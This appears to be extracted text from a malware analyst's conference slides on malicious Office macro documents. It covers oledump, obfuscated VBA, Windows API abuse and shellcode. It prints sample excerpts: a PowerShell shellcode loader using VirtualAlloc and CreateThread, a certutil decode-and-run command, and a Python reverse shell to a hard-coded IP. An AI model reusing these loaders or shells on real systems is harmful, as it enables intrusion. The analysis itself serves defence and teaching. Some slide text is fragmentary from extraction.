Still Breaching Your Perimeter

A DEEP DIVE INTO MALICIOUS OFFICE DOCUMENTS

Dr. Josh Stroschein

MALWARE ANALYST AND SECURITY RESEARCHER

@jstrosch Oxevilc0de.com
Josh Stroschein - @jstrosch
Social Engineering and MACROS

Social engineering works
- Training is hard
- Users need to get stuff done

Microsoft Office
- Visual Basic is very powerful

Macros just work
- Totally legitimate usage
- No patch for a "feature"

When 1 macro is executed
- Attackers have a beachhead
Basic Concept of Operations

Office Document

Macros

Additional Stages N

Malware

Post-Infection

DOC

PS1

EXE

XLSX

JS
macros

Office documents can contain embedded code
- Written in VBA - Visual Basic for Applications
- Can also access Windows API - more on that later

How do we view macros then?
- Dump them using oledump (Thank you Mr Stevens!)
- View in Office IDE (Developer)
### oledump

<table>
<thead>
<tr>
<th>Index</th>
<th>Name</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>\x01CompObj</td>
<td>113</td>
</tr>
<tr>
<td>2</td>
<td>\x05DocumentSummaryInformation</td>
<td>4096</td>
</tr>
<tr>
<td>3</td>
<td>\x05SummaryInformation</td>
<td>4096</td>
</tr>
<tr>
<td>4</td>
<td>Table</td>
<td>4096</td>
</tr>
<tr>
<td>5</td>
<td>Data</td>
<td>23902</td>
</tr>
<tr>
<td>6</td>
<td>Macros/PROJECT</td>
<td>525</td>
</tr>
<tr>
<td>7</td>
<td>Macros/PROJECT_wm</td>
<td>95</td>
</tr>
<tr>
<td>8</td>
<td>Macros/VBA/ThisDocument</td>
<td>10027</td>
</tr>
<tr>
<td>9</td>
<td>Macros/VBA/_VBA_PROJECT</td>
<td>7279</td>
</tr>
<tr>
<td>10</td>
<td>Macros/VBA/cowkeeper</td>
<td>15955</td>
</tr>
<tr>
<td>11</td>
<td>Macros/VBA/dir</td>
<td>841</td>
</tr>
<tr>
<td>12</td>
<td>Macros/VBA/discord</td>
<td>1158</td>
</tr>
<tr>
<td>13</td>
<td>Macros/discord/\x01CompObj</td>
<td>97</td>
</tr>
<tr>
<td>14</td>
<td>Macros/discord/\x03VBFrame</td>
<td>291</td>
</tr>
<tr>
<td>15</td>
<td>Macros/discord/f</td>
<td>98</td>
</tr>
<tr>
<td>16</td>
<td>Macros/discord/i01/\x01CompObj</td>
<td>112</td>
</tr>
<tr>
<td>17</td>
<td>Macros/discord/i01/f'</td>
<td>7476</td>
</tr>
<tr>
<td>18</td>
<td>Macros/discord/i01/o'</td>
<td>68</td>
</tr>
<tr>
<td>19</td>
<td>Macros/discord/o'</td>
<td>0</td>
</tr>
<tr>
<td>20</td>
<td>WordDocument</td>
<td>57094</td>
</tr>
</tbody>
</table>
oledump

```bash
jstroschein@ubuntu:~/Desktop/BSidesIA$ oledump -s 8 -v 5d077b1341a6472f02aac89488976d4395a91ae4f23657b0344da74f4a560c8d.bin > ThisDocument
```

**ThisDocument**

<table>
<thead>
<tr>
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>VB_Name</td>
<td>&quot;ThisDocument&quot;</td>
</tr>
<tr>
<td>VB_Base</td>
<td>&quot;Normal.ThisDocument&quot;</td>
</tr>
<tr>
<td>VB_GlobalNameSpace</td>
<td>False</td>
</tr>
<tr>
<td>VB_Createable</td>
<td>False</td>
</tr>
<tr>
<td>VB_PredeclaredId</td>
<td>True</td>
</tr>
<tr>
<td>VB_Exposed</td>
<td>True</td>
</tr>
<tr>
<td>VB_TemplateDerived</td>
<td>True</td>
</tr>
<tr>
<td>VB_Customizable</td>
<td>True</td>
</tr>
<tr>
<td>Dim offspring</td>
<td>As String</td>
</tr>
<tr>
<td>Dim lyra</td>
<td>As Integer</td>
</tr>
</tbody>
</table>
You can enable Developer tools in MS Office Project Macros User Form

Office IDE

Sub ToggleTextBoundaries()
If Documents.Count > 0 Then
    With ActiveDocument.
        .ShowTextBoundaries
        .EndWith
    End If
End Sub

Public Sub AutoOpen()
    Dim uncurbed As Integer
    Dim remigration As Integer
    Dim affuse As Variant
    remigration = solemnize.perm
    If remigration = 48 - 97 + 3
End Sub
Debugging

You can debug now
- sometimes easier than trying to manually reverse the obfuscation
Runtime Analysis

dracocephalum = 10 + 127 - 84
For thallophytic = 14 - 70 + 71 To 10 + 127 - 84
lymphoid = "di" + Mid("edmontoniasjunctmiler", 11, 6)
Next thallophytic
Set traulism = illbeing.ExecQuery(koto + bladderpod & extincteur)
For Each uncared In traulism
conceive = conceive + 17 - 8 - 8
Next
permanent = conceive

<table>
<thead>
<tr>
<th>Session</th>
<th>Value</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>bladderpod</td>
<td>&quot;* from Win32_&quot;</td>
<td>Variant/String</td>
</tr>
<tr>
<td>extincteur</td>
<td>&quot;DiskDrive&quot;</td>
<td>Variant/String</td>
</tr>
<tr>
<td>koto</td>
<td>&quot;Select&quot;</td>
<td>Variant/String</td>
</tr>
</tbody>
</table>
Sometimes Encounter Passwords
Social Engineering abounds

---RSA PROTECTED DATA BEGIN---

/9j/4AAQSkZJRgABAQgELAS8AAgEAAhYAEAAAAgABwESAAMAAAABAAEAAAEEaAAUAAAAABAAAAAYgEbAAUAAAAABAAAAAagEoAAMAAAABAAIAAAAExAAIAAAAAcAAAAAcgEyAAIAAAAAJodpAAQAABABAAAApAAAANAALcbAAAAnEAAtxsAAACQQWRvYmUGhvdG9zaG9wIENNCBXaW5kb3dIwMTA6MTI6MTc6MTk6MjkAAAAAA6ABAAMAAAAABAAEAAKACCAgQAABAAAAoKADAEmASgAAwAAAAAAGAAgEABAAAAEAAEAAEuAgIABAABAAAEEABGNAAAAAAA
Use of Forms
Embedded Content
Obfuscation

```vbnet
Function permanent()
Dim parakeet As Object
koto = StrReverse("eS") + Left("lecttherm", 4) + "" + StrReverse(""")
Dim agas As String
conceive = 99 + 115 - 214
abbatical = 9 - 4
amability = 6 + 69
For abbatical = 9 - 4 To 6 + 69
sleeveless = Left("bachildhood", 2) + StrReverse("kc") + ""
Next abbatical
bladderpod = Left("*disinvestment", 2) + StrReverse("_23niW morf ")
Dim nutbrowm As Variant
```

Windows API

Public Declare PtrSafe Function tomentose Lib "user32" Alias "GetClassNameA" (deepread As LongPtr,
'I wanna be your back door man
'I love you as long as your money loves me back
Public Declare PtrSafe Function mutton Lib "kernel32" Alias "GetModuleHandle" (lpModuleName As Long
'Like a genie in the bottle
'I'll rub you the right way
Public Declare PtrSafe Function daddy Lib "user32" Alias "RegisterClassW" (extenuating As LongPtr,
'Call me!
'I'll meet you at home or at a sleazy motel
Public Declare PtrSafe Function vertebrata Lib "user32" Alias "FindWindowA" (tempestivity As LongPtr,
'With paypal or cash
'And I'll show you what your boyfriend don't understand
Public Declare PtrSafe Function cabriolet Lib "kernel32" Alias "EnumDateFormatsW" (ByVal lpEnumFunc
'Like a genie in the bottle

88 aprum = bayberry + anklet
89 archeogenesis = cabriolet(aprum, bicycling, bicycling)
90 For washout = 19 To 52
91 next hillock = 52
Sample MD5: b107f3235057bb2b06283030be8f26e4

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Result</th>
<th>Update</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ad-Aware</td>
<td>W97M.Downloader.EPK</td>
<td>20170324</td>
</tr>
<tr>
<td>AegisLab</td>
<td>Troj.Downloader.MsWord.Agent!c</td>
<td>20170324</td>
</tr>
</tbody>
</table>
bicycling = 0
Dim aprum As Long
aprum = bayberry + anklet

archegenesis = cabriole(aprum, bicycling, bicycling)
For washout = 19 To 52
praxiteles = 52

ur boyfriend don't understand

cabriole Lib "kernel32" Alias "EnumDateFormatsW"

BOOL EnumDateFormats(
    _In_ DATEFMT_ENUMPROC lpDateFmtEnumProc,
    _In_ LCID Locale,
    _In_ DWORD dwFlags
);

Parameters

lpDateFmtEnumProc [in]
Pointer to an application-defined callback function. For more information, see
EnumDateFormatsProc.
Shellcode

Dim aprum As Long
aprum = bayberry + anklet
archegesis = cabriolet(aprum, bicycling, bicycling)
For washout = 19 To 52
    next
End

0x70D0E5D

<table>
<thead>
<tr>
<th>Address</th>
<th>Permissions</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x70d0000</td>
<td>Private</td>
</tr>
<tr>
<td>0x70d0000</td>
<td>Private: Commit</td>
</tr>
<tr>
<td>0x70e0000</td>
<td>Private</td>
</tr>
</tbody>
</table>

R/WX
process hollowing - DEMO

https://youtu.be/oM2R2_5wo7Q
Powershell

Sample: 9216418c98d47981f773fc2525fa568f

<table>
<thead>
<tr>
<th>File name</th>
<th>offert.doc</th>
</tr>
</thead>
<tbody>
<tr>
<td>Detection ratio</td>
<td>17 / 55</td>
</tr>
<tr>
<td>Analysis date</td>
<td>2016-08-08 07:54:25 UTC (8 months, 2 weeks ago)</td>
</tr>
</tbody>
</table>

### Analysis
- File detail
- Relationships
- Additional information
- Comments
- Votes

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Result</th>
<th>Update</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ad-Aware</td>
<td>Trojan.Script.669008</td>
<td>20160808</td>
</tr>
<tr>
<td>AhnLab-V3</td>
<td>W97M/Downloader</td>
<td>20160807</td>
</tr>
</tbody>
</table>
### Related People

<table>
<thead>
<tr>
<th>Author</th>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
<th>8</th>
<th>9</th>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
<th>E</th>
<th>F</th>
<th>0123456789ABCDEF</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>24</td>
<td>3F</td>
<td>63</td>
<td>3F</td>
<td>20</td>
<td>3F</td>
<td>3D</td>
<td>3F</td>
<td>20</td>
<td>3F</td>
<td>27</td>
<td>3F</td>
<td>5B</td>
<td>3F</td>
<td>44</td>
<td>3F</td>
<td>$?c? ?=? ?'??[?D?</td>
</tr>
<tr>
<td></td>
<td>28</td>
<td>3F</td>
<td>22</td>
<td>3F</td>
<td>6B</td>
<td>3F</td>
<td>65</td>
<td>3F</td>
<td>72</td>
<td>3F</td>
<td>6E</td>
<td>3F</td>
<td>65</td>
<td>3F</td>
<td>6C</td>
<td>3F</td>
<td>(?)&quot;?k?e?r?n?e?l?</td>
</tr>
</tbody>
</table>

---

**Powershell**
```powershell
$1 = 'c = "[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flProtect, IntPtr lpZeroPageBase);"

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);

$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; [Byte[]]; [Byte[]]$z = 0xda, 0xdb, 0xbd, 0xc0, 0x59, 0x2a, 0xf0, 0xd9, 0x74, 0x24, 0xf4, 0x58, 0x29, 0xc9, 0xb1, 0x57, 0xcc
$g = 0x1000;
if ($z.Length -gt 0x1000){
    $g = $z.Length
}

$x = $w.VirtualAlloc(0, 0x1000, $g, 0x40);

for ($i=0; $i -le ($z.Length-1);$i++) {
    $w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)
}

$w::CreateThread(0,0,$x,0,0,0);

for (;){Start-sleep 60};
'

$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));
$s2 = "-enc ":
if([IntPtr]::Size -eq 8){
    $3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";
    iex "$3 $2 $e"
} else{
    iex "& powershell $2 $e";
}
```
$g = 0x1000;

if ($z.Length -gt 0x1000)
{
    $g = $z.Length
};

$x=$w::VirtualAlloc(0,0x1000,$g,0x40);

for ($i=0;$i -le ($z.Length-1);$i++)
{
    $w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)
}

$w::CreateThread(0,0,$x,0,0,0);

for (; ;){Start-sleep 60};
Powershell

Shellcode attempts to download content from: hxxp://37.28.154.204/FIC7S
- Executes it
- Unavailable (i.e. 404) at time of analysis
VB Scripts

Sample: c1aaa74ba09c523c32b49e78cf0b2397

File not found

The file you are looking for is not in our database.

Take me back to the main page  Try another search
VBS
VBS

Drops Two Files:

<table>
<thead>
<tr>
<th>File name</th>
<th>992599259925.jbc</th>
</tr>
</thead>
<tbody>
<tr>
<td>Detection ratio</td>
<td>25 / 61</td>
</tr>
<tr>
<td>Analysis date</td>
<td>2017-04-20 11:33:20 UTC (1 day, 3 hours ago)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Result</th>
<th>Update</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ad-Aware</td>
<td>Trojan.GenericKD.4890187</td>
<td>20170420</td>
</tr>
<tr>
<td>Arcabit</td>
<td>Trojan.Generic.D4A9E4B</td>
<td>20170420</td>
</tr>
</tbody>
</table>
Cert Util

Sample: 16eb1828b27feb9dd470eb018be39d0a

SHA256: 62a5d3ec0dcda0aa72d13b2deac30307935b41b3e5a0e132fc04cf70cb2688543
File name: Security Report ID_11701573_.doc
Detection ratio: 36 / 56
Analysis date: 2016-06-03 10:16:56 UTC (10 months, 3 weeks ago)

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Result</th>
<th>Update</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ad-Aware</td>
<td>W97M.Downloader.CUZ</td>
<td>20160603</td>
</tr>
<tr>
<td>AegisLab</td>
<td>W97M.Downloader.Cuzlc</td>
<td>20160603</td>
</tr>
<tr>
<td>AhnLab-V3</td>
<td>W97M/Downloader</td>
<td>20160603</td>
</tr>
</tbody>
</table>
Cert util


PID: 3288
Command line:

```
cmd /c certutil -decode %TMP%\harakiri.pfx %TMP%\harakiri.exe & start %TMP%\harakiri.exe
```
scriptToRun = "do shell script ""python -c 'import ...
s
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((""37.28.154.204"",446));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);

p=subprocess.call(['""/bin/sh"",""','- ...

res = MacScript(scriptToRun)

mac shell

from our PowerShell doc: 9216418c98d47981f773fc2525fa568f
Thank You!

You will find these slides: 0xevilc0de.com/hitb_ams_18.zip